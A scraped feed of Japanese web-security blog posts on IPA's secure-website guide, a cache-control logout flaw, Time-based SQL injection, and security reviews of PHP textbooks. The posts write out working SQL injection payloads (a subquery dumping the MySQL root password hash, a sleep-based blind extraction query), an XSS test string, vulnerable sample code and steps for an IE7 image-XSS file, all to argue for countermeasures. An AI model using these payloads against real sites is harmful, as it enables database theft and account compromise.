第7版では、1章に、クリックジャッキングとバッファオーバーフローの脆弱性の解説を追加し、クロスサイト・スクリプティングの脆弱性への対策方法、各脆弱性で紹介している届出状況、参考URL等を更新しました。また、2章に、ウェブサイトにおけるパスワードの管理方法の解説を追加し、通信経路の暗号化の解説、DNSなどの対策方法、参考URLを更新しました。
ということで、久しぶりに第1章の脆弱性項目が下記2項目追加されて脆弱性項目が11項目になりました。これは、第3版で9項目になって以来の追加となります。
  • クリックジャッキング
  • バッファオーバーフロー
企業等で、安全なウェブサイトの作り方を元にセキュリティ基準等を定めているところがかなりあると見聞きしていますが、それら企業・団体は、この機会に基準の改定を推奨いたします。

クリックジャッキングについて

クリックジャッキングとは、iframe等を用いてウェブサイトの利用者を視覚的に騙し、意図しないマウス操作をさせる技法です(下図)。


IPAからは、クリックジャッキングに関してテクニカルウォッチ「『クリックジャッキング』に関するレポート」という文書を公表しています(2013年3月26日)。それから2年が経過して、安全なウェブサイトの作り方に取り入れられたということです。
説明自体はテクニカルウォッチの方が詳しいので、詳細はそちらを参照いただければと思います。

バッファオーバーフローについて

おなじみのバッファオーバーフローも、安全なウェブサイトの作り方に収録されました。ただし、ウェブアプリケーションの開発によく用いられるPHP、Ruby、Java等を用いている限り、アプリケーションレベルでバッファオーバーフロー脆弱性が混入する可能性はないので、C/C++等を用いてウェブアプリケーションを開発しているケースや、アプリケーションから呼び出していライブラリがC/C++等で開発されていて、そこにバッファオーバーフロー脆弱性があるようなケースを想定しています。そのため、安全なウェブサイトの作り方での説明も非常に簡略なものになっています。

ソルト付きハッシュ値によるパスワードの保存

パスワードリスト攻撃では、あるサイトから漏洩したパスワードが別のサイトへの攻撃に悪用されていると言われています。このため、サーバーへの侵入による被害が当該サイトにとどまらず、他のサイトにも波及してしまうことが問題です。
このため、ウェブサイトで保管するパスワードに関しては、平文ではなく、保護された形で保管すことが望ましい言えます。安全なウェブサイトの作り方第7版では、ソルト付きハッシュ値を用いて(さらにストレッチングを用いて)パスワードを保護された形で保管することを勧めています。
現実のウェブサイトには、パスワードを平文保管しているサイトがまだ多いと推測しますが、少なくとも今後新規開発するウェブサイトについては、保護された形でのパスワード保管を必須とすべきと考えます。
パスワードの安全な保管については、下記の記事も参考にしてください。

まとめ

安全なウエブサイトの作り方について、従来からの特徴と第7版での主な変更点について説明しました。
安全なウェブサイトの作り方は、ウェブアプリケーション開発の現場では、発注時のセキュリティ仕様として、あるいは開発会社の自社のセキュリティ基準として用いられている場合が多いようです。この場合は、以下に気をつけるとよいでしょう。
  • 最低限のセキュリティ基準としてとらえ、アプリケーションの性質によっては対応する項目を追加することが望ましい
  • 改版で内容が改定されるので、発注仕様等として用いる場合は、版数を明記する
このような使われ方を想定して、IPAのダウンロードページでは、安全なウェブサイトの作り方の旧版(第6版)もダウンロードできるようリンクを追加しています。
また、特にクリックジャッキングとバッファオーバーフロー、ソルト付パスワードによるパスワード保管については、順次自社基準や発注時仕様に盛り込んでいかれると良いと思います。

キャッシュ制御不備の脆弱性にご用心

$
0
0
古い書籍に掲載されたPHP記述の掲示板ソフトを動かしていると、ログアウト処理がうまく動作していないことに気がつきました。チェックの方法ですが、ログアウト処理の脆弱性検査の簡単なものは、「安全なウェブサイトの作り方」別冊の「ウェブ健康診断仕様」に記載されています。
(J)認証
ログアウト機能はあるか、適切に実装されているか
ログアウト機能がない、あるいはログアウト後「戻る」ボタンでセッションを再開できる場合
この仕様書にある通り、『ログアウト後「戻る」ボタンでセッションを再開できる』状態でした。
おそらくセッション破棄がきちんと書かれていないのだろうと思いログアウト部分のソースを見ると、以下の様な処理内容でした(オリジナルからはリライトしています)。
<?php // logout.php
require_once('common.php'); // 共通の設定・処理
session_start(); // セッションの開始
session_destroy(); // セッションの破棄
header('Location: http://example.jp/');
exit();
ソース上では、きちんとセッションが破棄されているように見えます。そこでさらに動作を確認していくと、以下が分かりました。
  • 1回目のログアウト処理はきちんと動作するが、2回目以降のログアウト処理は表示上は正しい遷移だが、セッションは破棄されていない
  • logout.phpは、ボタンではなくリンクで呼ばれている。すなわちGETメソッドで呼ばれている
2回目以降がおかしいということで、キャッシュが原因だろうということでHTTPレスポンスを確認すると、以下のヘッダが付与されています。
Cache-Control:private, max-age=10800, pre-check=10800
このヘッダは共通処理が書かれた common.php 内の以下の記述によるものでした。
session_cache_limiter('private');   // 戻るボタンを有効にする
Cache-Control: privateは、個人用のキャッシュは許すが、他人にそのキャッシュは使わせないという設定で、典型的にはブラウザのキャッシュは許すが、プロキシサーバーのキャッシュは許さないという設定です。
すなわち、logout.phpに対するリクエストは、ブラウザのキャッシュは有効であることから、2回目以降はリクエストされず、キャッシュされたレスポンスが用いられていたことになります。これが「2回目以降は見かけ上はログアウトの遷移をたどるがログアウトされていない」原因です。

対策

ログアウトのように副作用を伴う処理は、キャッシュが有効では処理が行われない場合があるので、キャッシュを無効にする必要があります。PHPの場合、以下により記述できます。ただし、PHPはデフォルトでこの設定なので、通常は明示的にこれを指定する必要はありません。
session_cache_limiter('nocache');   // キャッシュを無効にする
これにより、以下のレスポンスヘッダが送信されます。
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
また、副作用を伴う処理に対するリクエストにはPOSTメソッドを用いるべきです。ログアウト処理の場合、POSTではなくGETメソッドで呼び出している例をよく見かけますが、本来GETメソッドは副作用のないリクエストに用いるもので、副作用があるリクエストはPOST(あるいはPUT、DELETE)を用いることになっています。POSTメソッドの場合、絶対にキャッシュされないわけではありませんが、GETの場合に比べてキャッシュされにくいため、キャッシュ制御に関しても安全方向に働きます。

※注記
POSTリクエストがキャッシュされる例については、こちらを参照。また、ジャパンネット銀行のバンキングサイトは全ページPOSTメソッドという珍しい作り(セッションIDをPOSTで送っている)ですが、戻るボタンが使え、その場合はPOSTに対するキャッシュが表示されるようです。

キャッシュからの情報漏洩に注意

次に説明するのはキャッシュからの情報漏洩です。こちらの方が、ありがちな問題だと思います。
キャッシュ制御が不十分な場合、プロキシサーバー等にキャッシュされた秘密情報が、別人のブラウザに表示される場合があります。
以下は、キャッシュ制御脆弱な例です。現在のログインIDを表示するページの実装例です。
<?php  // profile.php
session_cache_limiter('public'); // キャッシュ制御をpublicに
session_start();
$id = $_SESSION['id']; // ログインIDを取り出し
?><body>
id: <?php echo htmlspecialchars($id); // ログインIDを表示 ?>
</body>
session_cache_limiter('public'); により、このHTTPメッセージはプロキシサーバーによりキャッシュされます。同じプロキシサーバー(実験ではUbuntu12.04上のsquid3を使用)に接続しているパソコン2台を用い、1台目のパソコンでwatanabeでログインし、2台目のパソコンで未ログインの状態で profile.phpを表示したところ、watanabeが表示されました。実験に使用したブラウザは2台ともIE11です。

キャッシュ制御不備による影響

キャッシュ制御不備により、同じプロキシサーバーの利用者が別人の個人情報を閲覧する(いわゆる別人問題)可能性があります。さらに、プロキシサーバーの仕様や設定によっては、Set-Cookieレスポンスヘッダがキャッシュ、共有されてしまい、セッションIDの共有によるセッションハイジャックが起こる可能性があります。
Set-Cookieヘッダのキャッシュに関しては、こちらこちらに言及があります。
プロキシー・サーバーが応答を受け取ったときにキャッシュに入れない set-cookie ヘッダーを指定します。デフォルトでは、プロキシー・サーバーは set-cookie ヘッダーをプロキシー・キャッシュに保管します。Cache-Control ヘッダー情報が正しく設定されていない場合、プロキシー・サーバーは、セッションに関連したユーザー・プライベート Cookie を保管する場合があります。
http://www-01.ibm.com/support/knowledgecenter/SSAW57_8.5.5/com.ibm.websphere.nd.doc/ae/rjpx_siphttpcustprops.html?lang=jaより引用
上記は、IBM製品のドキュメントからの引用ですが、恐ろしいことが書いてありますね。これによるセッションIDの共有等が起きないように、適切にキャッシュ制御とプロキシサーバーの設定を行う必要があります。

対策

レスポンスヘッダによるキャッシュ無効化については、前述のとおりです。参照系ページの場合POSTメソッドは使えないので、キャッシュ制御をもれなく行うことで対策となります。また、リバースプロキシ(キャッシュサーバー)を使っている場合は、キャッシュのON/OFFが適切に実施されていることや、Set-Cookieヘッダのキャッシュが無効化されていることを確認してください。
キャッシュ制御の仕様を明確にするために、画面遷移図等にキャッシュ可否の印をつけるようにするとよいと思います。

まとめ

キャッシュ制御不備の脆弱性について紹介しました。後半に説明したキャッシュサーバーによる別人問題はわりあいよく知られた内容ですが、冒頭で説明した「ブラウザキャッシュによりログアウト処理が無効になる」という例は私自身初めて見たもので、珍しい例ではないかと思います。
どちらの例でも、キャッシュ制御を適切に行う、すなわち適切なレスポンスヘッダを送信することで対策になります。ただし、性能上の理由から、できるだけ多くのページをキャッシュさせたいというニーズもあるでしょうから、キャッシュの可否を仕様として明確にしておき、仕様通りのキャッシュ制御ができているかを確認するとよいでしょう。

Time-based SQL Injectionは意外に実用的だった

$
0
0
このエントリでは、Time-based SQLインジェクション、すなわち時間差を利用したSQLインジェクションが意外に実用的だったという報告をします。デモ映像ありです。

はじめに

Time-based SQL Injectionという攻撃があります。これはブラインドSQLインジェクションの一種で、ある条件の場合に一定時間(例えば5秒)スリープし、そうでない時との応答時間の差で情報を盗もうというものです。1回のHTTPリクエストで1ビットの情報が得られるので、それを積み重ねることによって、いくらでも情報を盗めるはずです…理論的には。
しかし、「理屈はそうでも、時間が掛かりすぎるよね」ということで、深くは追っかけていませんでした。SQLインジェクションの検査には有効でも、悪用としての実用性はあまりないと考えていたのです。

きっかけ

きっかけは、以下のYahoo!知恵袋に以下の質問です。
SQLインジェクションについて教えて下さい
【中略】
$result = mysql_query("INSERT INTO tbl(address, mail) VALUES('$address', '$mail')", $con);
【中略】
ずばり、上記のような場合にどんな文字列でも入力可能な住所欄に何らかの文字列を入れるとSQLインジェクション攻撃は成立しますか?
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q14140304564 より引用
ごらんのようにINSERT文の箇所にSQLインジェクション脆弱性がある場合に、どのような攻撃が成立しうるかという質問です。
私からは、ON DUPLICATE KEY UPDATE 句により、他人が登録した行を改編する攻撃を指摘したところ、「それ、副問い合わせを使えば情報を盗めるよ」と指摘をいただきました。
これで、実行されるSQL文は以下になり、mailコラムにMySQLのrootユーザのパスワードハッシュが挿入されました。
INSERT INTO tbl(address, mail) VALUES('test', (select password from mysql.user where user='root' limit 0,1)) -- -', 'dummy@example.jp')
あとは、自分のメールアドレスを表示するページで挿入した情報を表示させればOKというシナリオです。
http://blog.a-way-out.net/blog/2015/01/06/sql-injection-insert/ より引用
これは興味深い攻撃なのですが、『自分が登録した情報が自分でも閲覧できない』というサイトも多いです。たとえば、キャンペーン応募サイトなどが該当します。投稿しっぱなしで後からはその内容は閲覧できません。

一方、SQLのエラーメッセージが表示されるサイトの場合は、こちらで指摘したようにエラーメッセージから情報を漏洩させることが可能です。
問題は、どちらもできないサイトの場合です。すなわち、INSERTした情報を後から閲覧できず、SQLのエラーメッセージも表示されないキャンペーン応募サイト等において、SQLインジェクションで情報を盗む方法です。完全ブラインドとなると、Time-based SQL Injectionの出番です。

Time-based SQL Injectionの基本的な考え方

多くのSQLデータベースにおいて、一定時間スリープするという関数が用意されています。MySQLにはsleep()が、PostgreSQLにはpg_sleep()があります。これを利用して、以下のように5秒間待つという攻撃ができます。
INSERT INTO tbl(address, mail) VALUES('test', (select sleep(5))) -- ','dummy@example.jp')
これはSQLインジェクション検査で用いられる方法です。これを更にすすめて、特定条件の場合のみ5秒待つというSQL文を考えます。
INSERT INTO tbl(address, mail) VALUES('test',(select if(substr((select email from mini_bbs.members limit 0,1),1,1) = 'a',sleep(5),0))) -- ','dummy@example.jp')
これは、mini_bbs.membersテーブルのemail列、第1行1文字目が ‘a’ の場合のみ5秒待つSQL文です。これを繰り返すことにより、任意のデータを好きなだけ取り出すことができます。

高速化の試み

文字をa, b, c …と1つずつ調べるのはあまりにも不効率ということで高速化の方法を考えてみます。以前紹介したブラインドSQLインジェクションのスクリプトでは、バイナリサーチを用いて高速化を図っています。
バイナリサーチを用いると、8ビットのデータを8回程度のリクエストで特定できることになります。sleep(5)を用いる場合、1回のリクエストの平均待ち時間は2.5秒ですから、2.5秒×8で 20秒で1バイトを確定できることになります。遅いといえば遅いですが、実用にならないこともないですね。以下は、バイナリサーチを用いたSQLインジェクション攻撃(Time-based)のデモ映像です。sleep(1)を用いているので、かなり実用的です。



リニアサーチの方が速かった

ところが、その後私は勘違いをしていることに気がつきました。バイナリサーチを用いる場合、平均すると1バイトの情報を得るのに4回(8÷2)のsleepが発生します。通常のHTTPリクエストに掛かる時間を無視出来る場合(『滑車の質量は無視できるとする』と同じw)、単純なリニアサーチの方がsleepは1回だけで済むので、ずっと高速になります。以下の映像は、リニアサーチに変更したバージョンです。



文字の種類が多い場合はバイナリサーチと併用すると実用的

しかし、マルチバイトの文字を求めるような場合、リニアサーチだと数千から数十万のHTTPリクエストが必要となり、さすがにリクエストの時間を無視できなくなります。すなわち、

バイナリサーチ: O(log (N)) だが定数係数が大きい
リニアサーチ: O(N) だが定数係数が小さい

ということで、文字の種類が少ない場合はリニアサーチの方が速いものの、文字の種類が多くなってくると、バイナリサーチの方が速いという傾向があります。
実際には両者の併用が可能です。バイナリサーチである程度文字の範囲を絞っておき、その後はリニアサーチで文字を確定させるという方法です。
実は、以前紹介したブラインドSQLインジェクションのスクリプトでもこの方法を採用しているのでした。
おおまかな範囲を二分探索で絞り、そこからリニアサーチで該当文字を求めています
http://blog.tokumaru.org/2012/12/blind-sql-injection-php-exploit.html

まとめ

Time-based SQL Injection攻撃が意外に実用的であることを示しました。
結論としては、Yahoo!知恵袋でも回答した以下の内容になるかと思います。
ただし、「SQLインジェクション脆弱性はあるが攻撃はできそうもない」というケースもあり得ます。あり得ますが、思わぬ攻撃を受ける可能性もあり、その場合の被害は甚大ですので、攻撃可能性の有無に関わらず、必ずSQLインジェクション対策はしておくべきです。
そして、Time-based SQL Injectionが実用的に使えるとなると、いかなる場合でもSQLインジェクション脆弱性は許容してはならないことがはっきりした、と言えるかと思います。

PHP入門書のSQLインジェクションとXSS対策をあらためて調べてみた

$
0
0
継続的にPHP入門書のセキュリティ問題を確認していますが、今回は「やさしいPHP 第3版」を取り上げ、今どきのPHP入門書のセキュリティ状況を報告したいと思います。
上記のように、2008年に初版が出版された後2回の改版がありました。
第2版ではクロスサイトスクリプティング(XSS)の説明が追加され、第3版ではXSSに加えSQLインジェクションの説明が追加されました。つまり、初版ではこれらの説明はなかったということです。

第3版におけるSQLインジェクションの対策方法はプレースホルダによるもので、結果として本書にSQLインジェクション脆弱性は見当たりません(パチパチパチ)。本書にはSQLの(文字列リテラルの)エスケープに関する説明はありませんが、これは、「PHPとセキュリティの解説書12種類を読んでSQLエスケープの解説状況を調べてみた」で報告したように最近のPHPの解説書のトレンドで、私の記事にも書いたようにPHP入門書レベルならそれで十分かと思います。最初のうちは、安全なプログラムを自然な形で書けることが重要だと思うからです。 ということで、以下を宣言させてもらいたいと考えます。
PHPの入門書ではSQLインジェクション脆弱性がないことが当たり前になった
一方、XSSはどうでしょうか。本書第3版では、P362に以下の説明があります。
フォームからの入力情報に注意する
Webアプリケーションでは、セキュリティに注意しなければなりません。特にフォームから入力する場合には注意すべきことが多くあります
この後、XSSの攻撃例やHTMLエスケープの方法などが続きます…が、「フォームからの入力情報に注意」という表現にとても嫌な予感がしますね。「フォームからの入力」以外はどうなっているかと調べてみると、同書P400のSample8.phpにあるように、入力値以外にはHTMLエスケープ処理が入っていません。以下に引用しますが、入力した内容のデータベースへの登録と、データベースの内容の表示処理があります。
// 以下、データの追加
if(isset($_POST["insert"])){
$ipd = $_POST["insproduct"];
$ipc = $_POST["insprice"];
$qry ="INSERT INTO product(name, price) VALUES(:ipd, :ipc)";
$stmt = $db->prepare($qry);
$stmt->bindParam(":ipd", $ipd);
$stmt->bindParam(":ipc", $ipc);
$stmt->execute();
}

// 中略

$qry = "SELECT * FROM product";
$data = $db->query($qry);

// 中略。以下、データの表示

while($value = $data->fetch()){
$id = $value["id"];
$name = $value["name"];
$price = $value["price"];
print "<tr><td><input type=\"radio\" name=\"delid\" value=\"{$id}\"/></td>
<td>{$id}</td><td>{$name}</td><td>{$price}</td></tr>\n";
}
フォームから入力された文字列がデータベースに登録され、それが表示される過程でHTMLエスケープは行われていません(上記赤字部分参照)。その結果、クロスサイトスクリプティング脆弱性が存在します。以下の文字列を製品名の欄に入力してやると…
<script>alert(1)</script>
下記のようにJavaScriptが実行されます。



ところで、この画面表示、よく見ると文字が化けています。調べてみると、本来UTF-8でレスポンスが送信されているのに、レスポンスに文字エンコーディングの指定がないので、ブラウザにShift_JISとみなされ、文字化けの原因になっています。これはXSSの原因になりえます。また、そもそも文字化けが起こるということは、アプリケーションとして不完全な状態です。
PHPの場合、HTTPレスポンスの文字エンコーディングを指定する方法には以下の3種類がありますが本書では特に説明されていません。
  • header関数で指定する
  • php.iniのdefault_charsetで指定する
  • HTML内に指定する
header関数で指定する
header関数によりContent-Typeヘッダを出力してそこでcharsetを指定する方法がもっとも確実です。
header('Content-Type: text/html; charset=UTF-8');

php.iniのdefault_charsetで指定する
php.iniにおいて以下の指定を有効にすることでも、同様の指定ができます。PHP-5.6.0以降ではこれがデフォルトになりました。
default_charset = "UTF-8"

HTML内に指定する
HTMLのhead要素内で以下を指定することでもcharsetを指定できます。php.iniの変更ができない環境等では便利です。
<meta charset="UTF-8">

結局XSS対策として最低限説明すべきことは何か?

今まで説明したように、「やさしいPHP」のXSS対策の解説は不十分です。それではどう書けばよいかですが、IPA「安全なウェブサイトの作り方 改訂 第7版」には、以下の説明があります(抜粋)。
5-(i) ウェブページに出力する全ての要素に対して、エスケープ処理を施す。
   解説内:また、HTMLタグを出力する場合は、その属性値を必ず「"」(ダブルクォート)で括る
5-(viii) HTTPレスポンスヘッダのContent-Typeフィールドに文字コード(charset)を指定する。
本書の場合、これらのいずれもが十分ではありません。

まとめ

書籍「やさしいPHP 第3版」のSQLインジェクションとXSSの解説状況について報告しました。SQLインジェクションに関してはプレースホルダの使用により脆弱性や説明の誤りはありませんでした(パチパチパチ)。一方、XSSに関しては、htmlspecialcharsを用いてHTMLエスケープを行うという概要の説明は正しかったものの、その適用が十分ではありませんでした。
実はこの問題は多くのPHP入門書に共通する問題です。対策自体は十分に行えている解説書でも、入力した文字列をまずHTMLエスケープしてから扱っている書籍も多く、「表示の際にエスケープする」という基本が実践できている書籍は、入門書にはあまりなく、中級者以上向けの書籍でないと解説されていない傾向があります。
しかし、せっかくPHPを勉強するのであれば、最初から正しい方法を学びたいものです。ということで、PHPの入門書を書く方には、「出力の際にHTMLエスケープ」を徹底していただきたいと希望します。

おまけ

今回紹介した以外に、書籍「やさしいPHP 第3版」には以下のセキュリティ上の問題があります。

ファイルアップロードのサンプルにおいて、ファイル名の拡張子チェックなどがないので、そのまま使うと任意スクリプトのアップロードと実行ができる。すなわち、スクリプトインジェクション相当の脆弱性がある(10.6)

ファイルの読み書きのサンプルにディレクトリトラバーサル脆弱性がある。とくに、ファイルへの書き込みのサンプルが深刻で、任意のスクリプトをPHPファイルとして書き込めるのでスクリプトインジェクション脆弱性相当の危険性がある(12.2)。

外部コマンドの実行において、OSコマンドインジェクションの説明が一応あるが、エスケープ用関数としてescapeshellcmd()を紹介しているので、こちらで紹介しているような問題が残る(12.2)。

「10日でおぼえるPHP入門教室 第4版」はセキュリティ面で高評価

$
0
0
弊社本社の麻布十番移転に伴い、本社近くの麻布図書館を利用しています。麻布図書館は土地柄のイメージにあう瀟洒な建物で、蔵書がない場合は港区の他の図書館から取り寄せ(無料です)ができますので、よく利用しています。今回は、山田祥寛さんの「10日でおぼえるPHP入門教室 第4版」を借りて読んでみました。一読して、本書がセキュリティにもよく配慮されていることがわかりましたので、以下にご紹介したいと思います。

クロスサイトスクリプティング(XSS)

表示の際にHTMLエスケープするという原則を忠実に守っています。そのため、下記の e() という関数を定義して呼び出しています。
function e($str, $charset = 'UTF-8') {
return htmlspecialchars($str, ENT_QUOTES, $charset);
}
その他にもXSS対策として重要な下記の内容を本文でもしっかり説明しています。XSSのためという文脈ではありませんが、むしろXSS対策ではなく自然な形で以下を実践することが重要です。
  • 文字コードの指定(php.iniのdefault_charset指定、meta要素による指定の両方)
  • 属性値をダブルクォートで囲む
したがって、入門レベルのXSS対策としては満点と言ってよいでしょう。PHP入門書のイケテナイXSS対策を見続けてきた身としては、上記は感涙ものです。

SQLインジェクション

プレースホルダの使用を徹底することによりSQLインジェクション対策をしています。大きな隙はありません。ライブラリとしてはPDOを使い、以下のスクリプトで接続しています。
$db = new PDO('mysql:host=localhost;dbname=php10;charset=utf8', 'phpusr', 'phppass');
文字エンコーディング指定もしっかりしていて素晴らしいです。ただし、欲を言えば以下を指定しているともっとよかったでしょう。
  • $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);  // 静的プレースホルダを指定
  • $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); //: 例外を投げる
本書では try ~ catchは使用していますが、PDO::ERRMODE_EXCEPTIONを指定していないと、接続時以外では例外が発生しません。すなわち、エラーをうまく捕捉できなくなります。


クロスサイトリクエストフォージェリ(CSRF)

PHPの入門書では、ほぼ例外なくCSRFの解説がありませんが、本書ではしっかりCSRFの解説があります。素晴らしいですね。
ただし、その実装は少々残念な感じです。CSRF対策の手法としてワンタイムトークンを使っているのですが、トークン生成のアルゴリズムが暗号学的に弱いのです。具体的には以下のスクリプトです。
$token = md5(uniqid(mt_rand(), TRUE));
mt_rand()は暗号学的な擬似乱数生成器ではないので、厳密に言うと、上記で生成するトークンには予測可能性があるということになります。
「そんな馬鹿な」と思う読者もいるでしょうが、上記と似て非なる方法で生成されるPHPのセッションIDの予測可能性について検証した論文があり、hnwさんの素晴らしい翻訳で読むことができます。
セッションIDはシードとしてIPアドレスと時刻を用います。上記のmt_randの初期シードはプロセスIDと時刻であり、プロセスIDの変化にはかなり規則性があります。擬似乱数生成器として、セッションID生成のほうがLCG(線形合同法)に対して、こちらのトークンはメルセンヌ・ツイスタですが、予測困難でないことは両者に共通しています。つまり、この程度の仕組みだと、予測困難とはいえないということです。
ではどうすればよいかですが、PHP5.3.0以降を使う前提であれば、openssl_random_pseudo_bytes() 関数を使えばよいでしょう。

なお、ワンタイムトークンにしたことにより、ワンタイムでないセッション限りのトークンと比べて、トークンの予測は容易になってしまいます。これに関しては、以前の記事「CSRF対策のトークンをワンタイムにしたら意図に反して脆弱になった実装例」を参照ください。

パストラバーサル

パストラバーサル(ディレクトリトラバーサル)脆弱性の解説が同書P231にあります。対策方法は、対象ファイルが保存されているディレクトリからファイル一覧を取得し、外部から指定したファイル名がその中に存在するかを確認するという独特な方法です。対策にはなりますが、ファイル数が多い場合に効率が悪そうですね。basename()関数を使うという標準的な方法を解説してくれたらもっと良かったのにと思いました。

メールヘッダインジェクション

本書には、なんとメールヘッダインジェクションの説明もあります(P169)。素晴らしいですねぇ。なまじっかなセキュリティ解説書にもメールヘッダインジェクションがない場合も多いのに…
対策としては、外部から指定するメールアドレスをバリデーションするというオーソドックスな方法です。

セッションフィクセーション

セッションフィクセーションについて明示的な説明はありませんが、本書では認証にPear::Authを用いていて、Pear::Authの内部でセッションフィクセーション対策が取られています。

ファイルアップロード

PHP入門書の多くでファイルアップロード機能を扱っており、本書も例外ではありませんが、ファイルアップロード機能には脆弱性が入りやすくので気をつける必要があります。本書は、かなり注意深い実装がされています。
まず、拡張子のチェックです。これに関して以下の説明があります。
例えば、有害なスクリプト(.phpファイル)をアップロードされてしまえば、自分のサーバーを踏み台に好き勝手な処理を実行されてしまう恐れもあります。最低でも、アップロード可能なファイルの拡張子は制限しておくべきです。
加えて、getimagesize()関数により、アップロードされたファイルの中身が画像であることを確認しています…が、セキュリティ上の効果はあまり期待できません。セキュリティ目的ではなく、画像であることを少しでも確実にするというチェックなのかもしれません。
実は、もうひと踏ん張り確認して欲しい内容があるのですが、これについては後述します。

残念な点

先に紹介したワンタイムトークンの生成アルゴリズムに加えて、以下の様な「残念な点」があります。重大な脆弱性というわけではありませんが、他がよく書けているだけに余計に残念な感じがしました。

IE7で画像XSSが可能

Internet Explorer7(IE7)以前では、画像を用いたクロスサイトスクリプティング攻撃が可能です。原理と対策の方針については下記の記事を御覧ください。
攻撃のために用いる画像は以下のようにして作成可能です。
  1. 適当な.png画像を用意する
  2. IDATの中身にJavaScriptを埋め込む
  3. 拡張子をgif(あるいはjpg)に変更する
作成した画像の例を下記に示します。


これをアップロードしてIE7で表示させると下記の結果になります。


これに該当するブラウザは、現在サポートが有効なもの(サーバー除く)ではWindows Vista上のIE7だけで、2016年1月でサポートが終了します。対策するかどうか迷うラインではありますが、幸いgetimagesize()関数を用いて比較的容易に対策できます。具体的には、
  • getimagesize()関数を用いてマジックバイトから画像のタイプを取得する(参考
  • ファイル名から得た拡張子が、画像のタイプと一致していることを確認する
  • 両者が一致していな場合はエラーとして画像を受け付けない
詳しい説明や具体的なコードは拙著P277以降を参照ください。

パスワードの保存形式がソルトなしMD5ハッシュ値

前述のように、本書の認証機能はPear::Authを用いており、そのデフォルトの挙動として、パスワードはMD5ハッシュ値として保存されます。現在の状況として、ソルトなしのMD5では安全な保存とはいえません(下記の記事参照)。
PHP5.5以降が使える環境ではpassword_hash()関数を使いたいところですが、Pear::Authとは共存できないと思われるので、これは本書のカバー範囲を超える「ぜいたくな要求」かと思います。しかし、「本当はこれではダメなんだ」ということは言及していただきたいです。

まとめ

「10日でおぼえるPHP入門教室 第4版」について、脆弱性対処の状況を報告しました。一部残念な点はあるものの、全体としてはPHP入門書の中ではセキュリティの説明が非常に充実していると感じました。要点を以下にまとめます。
  • SQLインジェクション対策はプレースホルダ、PDOの文字エンコーディング指定で確実に
  • XSS対策は、表示の際のエスケープを徹底
  • CSRF対策はワンタイムトークンを用いる
  • パストラバーサル対策、メールヘッダインジェクション対策もある
前回のエントリのまとめで私は以下のように書きました。
しかし、せっかくPHPを勉強するのであれば、最初から正しい方法を学びたいものです。ということで、PHPの入門書を書く方には、「出力の際にHTMLエスケープ」を徹底していただきたいと希望します。
そして、それが十分に実践されている本書を読んで、私は上機嫌になりました。


Viewing all 192 articles
Browse latest View live




Latest Images